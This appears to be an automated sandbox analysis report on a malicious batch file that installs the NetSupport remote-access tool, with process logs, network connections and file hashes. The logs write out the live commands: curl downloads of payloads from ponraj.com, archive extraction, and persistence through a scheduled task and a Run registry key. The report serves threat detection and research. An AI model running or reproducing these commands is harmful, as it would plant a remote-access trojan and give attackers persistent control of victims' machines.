Analysis Overview
SHA256
60dbaed2358a02ed2102cc2158c05fce9bba87674d68f1114198423bd8460a93
Threat Level: Known bad
The file 1.bat was found to be: Known bad.
Malicious Activity Summary
NetSupport
Downloads MZ/PE file
Executes dropped EXE
Loads dropped DLL
Adds Run key to start application
Suspicious use of FindShellTrayWindow
Suspicious use of WriteProcessMemory
Delays execution with timeout.exe
Uses Task Scheduler COM API
Creates scheduled task(s)
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2023-07-14 11:02
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-07-14 11:02
Reported
2023-07-14 11:22
Platform
win7-20230712-en
Max time kernel
841s
Max time network
845s
Command Line
Signatures
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1.bat"
C:\Windows\system32\cmd.exe
cmd.exe /c C:\ProgramData\sett.bat"
C:\Windows\system32\cmd.exe
cmd.exe /c C:\ProgramData\7z.bat"
C:\Windows\system32\cmd.exe
cmd.exe /c C:\ProgramData\2.bat"
C:\Windows\system32\cmd.exe
cmd.exe /c C:\ProgramData\2.bat"
Network
Files
C:\ProgramData\sett.bat
| MD5 | 7d1c3743cb7af1f479ef8a94c1dc44da |
| SHA1 | 228abfe62f4f166bb0881e273c2bd6bffb3167d4 |
| SHA256 | 434d977609d8c580895a2b3b74f0948e2670bdeef5d06a1325c4940264b95f6c |
| SHA512 | e00f310e0c09b0e78ee98e8c1efdbb2caf6cac0e5fde51536123443f54f271c0232b4521c02de5083eb18cc03d350d37a0cb1ed2da58c6a0830b5462def34276 |
C:\ProgramData\7z.bat
| MD5 | 67404b0103100e3452532b69a46aa33f |
| SHA1 | 4bc62bfaecc1a4c5c95d906e2b64e161933f9965 |
| SHA256 | 6f1624a63e0713b8c0f86a461e9ce955f0d7eef8d4d3cdacf0b79e3ae843f19c |
| SHA512 | 4c7f3e63746179413915f308dea04cf668f909a4111caa479b633587137483ff7af548e2aab7180617cc5a6363884151f546a58b0b40a7bdb7edc3024bb26989 |
C:\ProgramData\2.bat
| MD5 | 6011bc3aa00cc9eefa63bd07c9676678 |
| SHA1 | 9c8fb9c006ab9787254bd6ade3194a90c24d66c9 |
| SHA256 | 5a8a48a2be136200954f5f81de68363d5dd8c82489dacae5d6b717b598634079 |
| SHA512 | 93869d542de437ce4514c745153284163305256f4673139a91ce9253ea329941b1fc273ccb3c0a2710e761ad41698a3f96ea0a5516ab3f436a5ead82572d36ba |
Analysis: behavioral2
Detonation Overview
Submitted
2023-07-14 11:02
Reported
2023-07-14 11:22
Platform
win10-20230703-en
Max time kernel
315s
Max time network
889s
Command Line
Signatures
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4264 wrote to memory of 3292 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 4264 wrote to memory of 3292 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 4264 wrote to memory of 2876 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 4264 wrote to memory of 2876 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 4264 wrote to memory of 3592 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 4264 wrote to memory of 3592 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 4264 wrote to memory of 1864 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 4264 wrote to memory of 1864 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1.bat"
C:\Windows\system32\cmd.exe
cmd.exe /c C:\ProgramData\sett.bat"
C:\Windows\system32\cmd.exe
cmd.exe /c C:\ProgramData\7z.bat"
C:\Windows\system32\cmd.exe
cmd.exe /c C:\ProgramData\2.bat"
C:\Windows\system32\cmd.exe
cmd.exe /c C:\ProgramData\2.bat"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.0.8.0.8.0.8.0.ip6.arpa | udp |
| US | 8.8.8.8:53 | 38.148.119.40.in-addr.arpa | udp |
Files
C:\ProgramData\sett.bat
| MD5 | 7d1c3743cb7af1f479ef8a94c1dc44da |
| SHA1 | 228abfe62f4f166bb0881e273c2bd6bffb3167d4 |
| SHA256 | 434d977609d8c580895a2b3b74f0948e2670bdeef5d06a1325c4940264b95f6c |
| SHA512 | e00f310e0c09b0e78ee98e8c1efdbb2caf6cac0e5fde51536123443f54f271c0232b4521c02de5083eb18cc03d350d37a0cb1ed2da58c6a0830b5462def34276 |
C:\ProgramData\7z.bat
| MD5 | 67404b0103100e3452532b69a46aa33f |
| SHA1 | 4bc62bfaecc1a4c5c95d906e2b64e161933f9965 |
| SHA256 | 6f1624a63e0713b8c0f86a461e9ce955f0d7eef8d4d3cdacf0b79e3ae843f19c |
| SHA512 | 4c7f3e63746179413915f308dea04cf668f909a4111caa479b633587137483ff7af548e2aab7180617cc5a6363884151f546a58b0b40a7bdb7edc3024bb26989 |
C:\ProgramData\2.bat
| MD5 | 6011bc3aa00cc9eefa63bd07c9676678 |
| SHA1 | 9c8fb9c006ab9787254bd6ade3194a90c24d66c9 |
| SHA256 | 5a8a48a2be136200954f5f81de68363d5dd8c82489dacae5d6b717b598634079 |
| SHA512 | 93869d542de437ce4514c745153284163305256f4673139a91ce9253ea329941b1fc273ccb3c0a2710e761ad41698a3f96ea0a5516ab3f436a5ead82572d36ba |
Analysis: behavioral3
Detonation Overview
Submitted
2023-07-14 11:02
Reported
2023-07-14 11:22
Platform
win10v2004-20230703-en
Max time kernel
1035s
Max time network
1158s
Command Line
Signatures
NetSupport
Downloads MZ/PE file
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\ProgramData\7zz.exe | N/A |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run | C:\Windows\system32\reg.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVYS = "C:\\ProgramData\\client32.exe" | C:\Windows\system32\reg.exe | N/A |
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
Delays execution with timeout.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\timeout.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeSecurityPrivilege | N/A | C:\ProgramData\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\ProgramData\client32.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1.bat"
C:\Windows\system32\cmd.exe
cmd.exe /c C:\ProgramData\sett.bat"
C:\Windows\system32\curl.exe
curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z" -o "C:\ProgramData\tempy.7z"
C:\Windows\system32\cmd.exe
cmd.exe /c C:\ProgramData\7z.bat"
C:\Windows\system32\curl.exe
curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"
C:\Windows\system32\cmd.exe
cmd.exe /c C:\ProgramData\2.bat"
C:\Windows\system32\curl.exe
curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat" -o "C:\ProgramData\2.bat"
C:\Windows\system32\cmd.exe
cmd.exe /c C:\ProgramData\2.bat"
C:\Windows\system32\xcopy.exe
xcopy /h /y 7zz.exe C:\ProgramData\
C:\Windows\system32\xcopy.exe
xcopy /h /y tempy.7z C:\ProgramData\
C:\Windows\system32\cmd.exe
cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\tempy.7z -oC:\ProgramData\
C:\Windows\system32\timeout.exe
TIMEOUT /T 3
C:\ProgramData\7zz.exe
C:\ProgramData\7zz.exe x -y C:\ProgramData\tempy.7z -oC:\ProgramData\
C:\Windows\system32\schtasks.exe
SCHTASKS /create /F /tn "KAVYS" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 8 /sd 01/01/2022 /st 00:00
C:\Windows\system32\cmd.exe
cmd /c C:\ProgramData\client32.exe
C:\Windows\system32\reg.exe
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
C:\ProgramData\client32.exe
C:\ProgramData\client32.exe
C:\Windows\system32\reg.exe
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "KAVYS" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
C:\Windows\system32\cmd.exe
cmd.exe /c C:\ProgramData\client32.exe
C:\ProgramData\client32.exe
C:\ProgramData\client32.exe
C:\Windows\system32\cmd.exe
cmd.exe /c C:\ProgramData\client32.exe
C:\ProgramData\client32.exe
C:\ProgramData\client32.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 158.240.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ponraj.com | udp |
| US | 8.8.8.8:53 | 23.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 254.22.238.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| RU | 188.127.225.160:443 | ponraj.com | tcp |
| US | 8.8.8.8:53 | 9.228.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 160.225.127.188.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.209.218.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 59.128.231.4.in-addr.arpa | udp |
| RU | 188.127.225.160:443 | ponraj.com | tcp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| RU | 188.127.225.160:443 | ponraj.com | tcp |
| RO | 5.252.178.48:443 | tcp | |
| US | 8.8.8.8:53 | 69.121.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | geo.netsupportsoftware.com | udp |
| GB | 62.172.138.8:80 | geo.netsupportsoftware.com | tcp |
| GB | 62.172.138.8:80 | geo.netsupportsoftware.com | tcp |
| GB | 62.172.138.8:80 | geo.netsupportsoftware.com | tcp |
| US | 8.8.8.8:53 | 48.178.252.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 8.138.172.62.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.136.104.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.81.21.72.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 126.20.238.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 254.20.238.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 146.78.124.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 208.194.73.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 9.57.101.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.254.224.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.179.89.13.in-addr.arpa | udp |
Files
C:\ProgramData\sett.bat
| MD5 | 7d1c3743cb7af1f479ef8a94c1dc44da |
| SHA1 | 228abfe62f4f166bb0881e273c2bd6bffb3167d4 |
| SHA256 | 434d977609d8c580895a2b3b74f0948e2670bdeef5d06a1325c4940264b95f6c |
| SHA512 | e00f310e0c09b0e78ee98e8c1efdbb2caf6cac0e5fde51536123443f54f271c0232b4521c02de5083eb18cc03d350d37a0cb1ed2da58c6a0830b5462def34276 |
C:\ProgramData\7z.bat
| MD5 | 67404b0103100e3452532b69a46aa33f |
| SHA1 | 4bc62bfaecc1a4c5c95d906e2b64e161933f9965 |
| SHA256 | 6f1624a63e0713b8c0f86a461e9ce955f0d7eef8d4d3cdacf0b79e3ae843f19c |
| SHA512 | 4c7f3e63746179413915f308dea04cf668f909a4111caa479b633587137483ff7af548e2aab7180617cc5a6363884151f546a58b0b40a7bdb7edc3024bb26989 |
C:\ProgramData\2.bat
| MD5 | 6011bc3aa00cc9eefa63bd07c9676678 |
| SHA1 | 9c8fb9c006ab9787254bd6ade3194a90c24d66c9 |
| SHA256 | 5a8a48a2be136200954f5f81de68363d5dd8c82489dacae5d6b717b598634079 |
| SHA512 | 93869d542de437ce4514c745153284163305256f4673139a91ce9253ea329941b1fc273ccb3c0a2710e761ad41698a3f96ea0a5516ab3f436a5ead82572d36ba |
C:\ProgramData\2.bat
| MD5 | 9c8e256f5fda613cd6ce0889ecf601ef |
| SHA1 | ccba6c491a278c82145fcac7426a9f5da5dc933f |
| SHA256 | ef55ff724e649918691224e7c6d1fc7ff5a9d73dc38b0ae70ce117f9c20009eb |
| SHA512 | d2f709c475f993e6c26c0444eb394ed1ee39fb261a0f77f5d5a8cb3ba36eb4a1f4fbfb45a6ce5bc0afaaae6dd0f16f02497a3c93f0f61267b9fc5d93e519f51e |
C:\ProgramData\7zz.exe
| MD5 | 42badc1d2f03a8b1e4875740d3d49336 |
| SHA1 | cee178da1fb05f99af7a3547093122893bd1eb46 |
| SHA256 | c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf |
| SHA512 | 6bc519a7368ee6bd8c8f69f2d634dd18799b4ca31fbc284d2580ba625f3a88b6a52d2bc17bea0e75e63ca11c10356c47ee00c2c500294abcb5141424fc5dc71c |
C:\ProgramData\7zz.exe
| MD5 | 42badc1d2f03a8b1e4875740d3d49336 |
| SHA1 | cee178da1fb05f99af7a3547093122893bd1eb46 |
| SHA256 | c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf |
| SHA512 | 6bc519a7368ee6bd8c8f69f2d634dd18799b4ca31fbc284d2580ba625f3a88b6a52d2bc17bea0e75e63ca11c10356c47ee00c2c500294abcb5141424fc5dc71c |
C:\ProgramData\tempy.7z
| MD5 | 7bfc5ad1796a0bbaefcad64239543506 |
| SHA1 | bb1f0b198d9011b00164fad88523c35369eb9e4a |
| SHA256 | 42679bd369a3b772c43b9ba20bf8a31a2593a360cfa2de77aa6d2023f9a0c109 |
| SHA512 | 90dfac808c2009439ebff3ef0fcfb95cb4fce1176b9c5d7587a6908e66687dc0f6592d29f71bf1c19a73f82522298625052791e9620beee285bebe613a00d091 |
C:\ProgramData\client32.exe
| MD5 | f70b67c2b3204b7ddd8b755799cccff0 |
| SHA1 | a42e55e328d62d11e687c167bb7049d46f0f9b26 |
| SHA256 | 213af995d4142854b81af3cf73dee7ffe9d8ad6e84fda6386029101dbf3df897 |
| SHA512 | 54fcba8a063bfbaae4c3a39624bf3407db6af5699ab8686f936ab03c5864df7a44d089066fa2d4aedf5ad50d6b04624966a5111bf57bec1dda74a571f1dd7c63 |
C:\ProgramData\client32.exe
| MD5 | f70b67c2b3204b7ddd8b755799cccff0 |
| SHA1 | a42e55e328d62d11e687c167bb7049d46f0f9b26 |
| SHA256 | 213af995d4142854b81af3cf73dee7ffe9d8ad6e84fda6386029101dbf3df897 |
| SHA512 | 54fcba8a063bfbaae4c3a39624bf3407db6af5699ab8686f936ab03c5864df7a44d089066fa2d4aedf5ad50d6b04624966a5111bf57bec1dda74a571f1dd7c63 |
C:\ProgramData\PCICL32.dll
| MD5 | d3d39180e85700f72aaae25e40c125ff |
| SHA1 | f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15 |
| SHA256 | 38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5 |
| SHA512 | 471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f |
C:\ProgramData\PCICL32.DLL
| MD5 | d3d39180e85700f72aaae25e40c125ff |
| SHA1 | f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15 |
| SHA256 | 38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5 |
| SHA512 | 471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f |
C:\ProgramData\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
C:\ProgramData\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
C:\ProgramData\PCICHEK.DLL
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
C:\ProgramData\MSVCR100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
C:\ProgramData\msvcr100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
C:\ProgramData\msvcr100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
C:\ProgramData\pcichek.dll
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
C:\ProgramData\client32.ini
| MD5 | 99c9a23ca6754f0cf146a095e9e666d3 |
| SHA1 | 817ebba693f606c1cb8c5524360961b13642e6b9 |
| SHA256 | ae1399c7b00710cdd7c119bee4b42c107bfee79c399b27a497a19094150f53ad |
| SHA512 | 68970cf9ec3065860ae60a225014a71a1aac1311102605b7fb85c58fc76537a44169fac1fa9368e1aa82f564147626f46b194b89300e171d6fa740e57a5b3402 |
C:\ProgramData\NSM.LIC
| MD5 | 1b41e64c60ca9dfadeb063cd822ab089 |
| SHA1 | abfcd51bb120a7eae5bbd9a99624e4abe0c9139d |
| SHA256 | f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d |
| SHA512 | c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4 |
C:\ProgramData\HTCTL32.DLL
| MD5 | c94005d2dcd2a54e40510344e0bb9435 |
| SHA1 | 55b4a1620c5d0113811242c20bd9870a1e31d542 |
| SHA256 | 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899 |
| SHA512 | 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a |
C:\ProgramData\HTCTL32.DLL
| MD5 | c94005d2dcd2a54e40510344e0bb9435 |
| SHA1 | 55b4a1620c5d0113811242c20bd9870a1e31d542 |
| SHA256 | 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899 |
| SHA512 | 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a |
C:\ProgramData\client32.exe
| MD5 | f70b67c2b3204b7ddd8b755799cccff0 |
| SHA1 | a42e55e328d62d11e687c167bb7049d46f0f9b26 |
| SHA256 | 213af995d4142854b81af3cf73dee7ffe9d8ad6e84fda6386029101dbf3df897 |
| SHA512 | 54fcba8a063bfbaae4c3a39624bf3407db6af5699ab8686f936ab03c5864df7a44d089066fa2d4aedf5ad50d6b04624966a5111bf57bec1dda74a571f1dd7c63 |
C:\ProgramData\PCICL32.DLL
| MD5 | d3d39180e85700f72aaae25e40c125ff |
| SHA1 | f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15 |
| SHA256 | 38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5 |
| SHA512 | 471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f |
C:\ProgramData\PCICHEK.DLL
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
C:\ProgramData\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
C:\ProgramData\msvcr100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
C:\ProgramData\client32.exe
| MD5 | f70b67c2b3204b7ddd8b755799cccff0 |
| SHA1 | a42e55e328d62d11e687c167bb7049d46f0f9b26 |
| SHA256 | 213af995d4142854b81af3cf73dee7ffe9d8ad6e84fda6386029101dbf3df897 |
| SHA512 | 54fcba8a063bfbaae4c3a39624bf3407db6af5699ab8686f936ab03c5864df7a44d089066fa2d4aedf5ad50d6b04624966a5111bf57bec1dda74a571f1dd7c63 |
C:\ProgramData\PCICL32.DLL
| MD5 | d3d39180e85700f72aaae25e40c125ff |
| SHA1 | f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15 |
| SHA256 | 38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5 |
| SHA512 | 471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f |
C:\ProgramData\PCICHEK.DLL
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
C:\ProgramData\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
C:\ProgramData\msvcr100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |